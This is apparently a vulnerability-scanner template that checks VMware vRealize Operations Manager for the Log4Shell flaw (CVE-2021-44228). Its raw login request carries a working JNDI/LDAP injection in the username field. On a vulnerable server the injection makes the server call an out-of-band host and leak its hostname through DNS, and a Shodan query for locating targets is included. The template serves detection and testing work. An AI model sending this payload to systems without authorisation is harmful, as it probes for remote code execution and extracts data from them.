vmware-operation-manager-log4j-rce: VMware Operations Manager - Remote Code Execution (Apache Log4j)

id: vmware-operation-manager-log4j-rce

info:
  name: VMware Operations Manager - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: VMware Operations Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:vmware:vrealize_operations_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"vRealize Operations Manager"
    product: vrealize_operations_manager
    vendor: vmware
  tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /ui/login.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/ui/login.action
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin

        mainAction=login&userName=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&password=admin&authSourceId=localItem&authSourceName=Local%20Users&authSourceType=LOCAL&forceLogin=&timezone=330&languageCode=us

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'Path=/ui'

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402204177fef5c0777118cae42ad0c18deb4584cd0e038aebd80dd49c65e326e6c732022005962b5bd28d24f73090d842fc9bc48901c1946b139711f70adcf7307213b482:922c64590222798bb761d5b6d8e72950

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